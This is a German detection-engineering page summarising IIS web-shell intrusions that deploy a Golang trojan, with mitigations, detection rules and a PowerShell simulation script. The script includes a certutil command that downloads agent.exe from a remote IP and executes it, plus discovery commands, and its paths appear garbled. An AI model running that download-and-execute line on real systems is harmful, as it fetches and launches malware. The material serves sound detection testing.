Versuch, Fehler und Typos: Warum einige Malware-Angriffe nicht so „raffiniert“ sind, wie Sie denken
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Artikel beschreibt drei separate Vorfälle, bei denen ein Bedrohungsakteur kompromittierte IIS-Webserver nutzte, um einen auf Golang basierenden Trojaner (agent.exe) auf Opferendpunkten herunterzuladen und auszuführen. Die Angreifer versuchten wiederholt die Ausführung, nutzten certutil um Payloads zu holen und fügten später Windows Defender-Ausschlüsse hinzu, bevor sie versuchten, über einen Windows-Dienst Persistenz herzustellen. Die Erkennung erfolgte über EDR- und Sysmon-Protokolle, die Befehlszeilen, Prozessbäume und Netzwerkaktivitäten erfassten. Die Angriffe veranschaulichen, wie sich Gegner an Abwehrmaßnahmen anpassen, anstatt einem fehlerfreien Leitfaden zu folgen.
Untersuchung
Huntress-Analysten untersuchten Windows-Ereignisprotokolle, Sysmon-Ereignisse und IIS-Webserver-Protokolle, um die Angriffskette zu rekonstruieren. Sie identifizierten die anfängliche Web-Shell-Ausführung über w3wp.exe, beobachteten fehlerhafte Befehle, wiederholte Payload-Lieferungsversuche und die Erstellung eines Dienstes namens WindowsUpdate, der nicht gestartet werden konnte. Mehrere Indikatoren wie Dateipfade, Befehlszeilen und Netzwerkverbindungen wurden gesammelt und über die drei Vorfälle hinweg korreliert.
Minderung
Wichtige Minderungsschritte umfassen die Härtung von IIS-Servern, die Einschränkung der Ausführung von Web-Shells, die Durchsetzung strikter Anwendungs-Whitelistings, die Überwachung auf abnormalen Gebrauch von LOLBins wie certutil und PowerShell und die Sicherstellung, dass Windows Defender-Ausschlüsse nicht willkürlich erstellt werden. Eine schnelle Isolierung kompromittierter Hosts und die Entfernung abgelegter Tools wie GotoHTTP werden ebenfalls empfohlen.
Reaktion
Nach der Entdeckung sollten die Verantwortlichen den betroffenen Endpunkt isolieren, vollständige Prozess- und Netzwerkprotokolle sammeln, alle bösartigen Binärdateien löschen, unbefugte Windows Defender-Ausschlüsse zurücksetzen und Service-Erstellungsfehler überprüfen. Führen Sie eine gründliche Überprüfung des Webservers auf kompromittierte Seiten durch und wechseln Sie alle kompromittierten Anmeldedaten.
Angriffsfluss
Erkennungen
Befehlszeilenausführung zur Verschleierung von Dateien (via cmdline)
Ansehen
Verdächtige ausführbare Datei mit ausschließlich Zahlen im Namen (via cmdline)
Ansehen
Verdächtige Änderungen an Windows Defender-Einstellungen (via PowerShell)
Ansehen
Verwendung von Certutil für Datenkodierung und Zertifikatsoperationen (via cmdline)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Ansehen
Verdächtige Ausführung aus dem öffentlichen Nutzerprofil (via process_creation)
Ansehen
IOCs (SourceIP) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
IOCs (HashSha256) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
IOCs (DestinationIP) zur Erkennung: Versuch und Irrtum, und Tippfehler: Warum einige Malware-Angriffe nicht so ‚raffiniert‘ sind, wie Sie denken
Ansehen
Erkennung von bösartigen POST-Anfragen auf dem Webserver [Webserver]
Ansehen
Erkennung von Befehlszeilenausführungen aus dem Webserver-Prozess [Windows-Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrische & Basislinien-Vorab-Check muss bestanden sein.
Begründung: In diesem Abschnitt wird die genaue Ausführung der gegnerischen Technik (TTP) beschrieben, die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erklärungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.
-
Angriffsnarrativ & Befehle:
Ein Angreifer, der bereits Codeausführung auf einem kompromittierten IIS-Server erlangt hat, nutzt denw3wp.exe-Prozess (den IIS-Arbeiter), um eine Reihe von signierten Binär-Proxies auszuführen. Zuerst enumerieren sie das System- und Netzwerksystem (whoami.exe,netstat -an,ipconfig /all). Dann verwenden siecertutil.exeum eine bösartige Nutzlast (agent.exe) von einem entfernten C2-Server herunterzuladen und sofort im öffentlichen Benutzerverzeichnis auszuführen. Alle Befehle werden übercmd.exe /causgeführt, gestartet unter dem Kontext vonw3wp.exe, um sicherzustellen, dass das Ereignis zur Erstellung des Prozesses die Bedingungen der Regel erfüllt.# 1. System/Benutzerinformationen erfassen Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Bösartige Nutzlast über certutil herunterladen und ausführen $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Regressions-Testskript: Das untenstehende Skript automatisiert die gesamte Angriffskette und reproduziert die genaue Telemetrie, die die Sigma-Regel auslösen sollte.
<# .SYNOPSIS Simuliert gegnerische Aktivitäten, die die Sigma-Regel "Erkennung der Befehlszeilenausführung aus dem Webserver-Prozess" auslösen. .BESCHREIBUNG Führt eine Reihe von Discovery- und Download-und-Ausführen-Befehlen aus dem IIS-Arbeiterprozess (w3wp.exe) aus. Ausführen auf einem Windows-Host, bei dem die Prozessüberwachung (Ereignis-ID 4688) aktiviert ist. #> # Funktion zum Ausführen eines Befehls über w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Aufruf über w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Erkennungsbefehle (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Bösartiger Download-und-Ausführung (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Aufräumbefehle: Entfernen Sie die heruntergeladene Nutzlast und beenden Sie alle Fehlerprozesse.
# Löschen der bösartigen Agent-Binärdatei Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Optional: Agent beenden, wenn er noch läuft Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force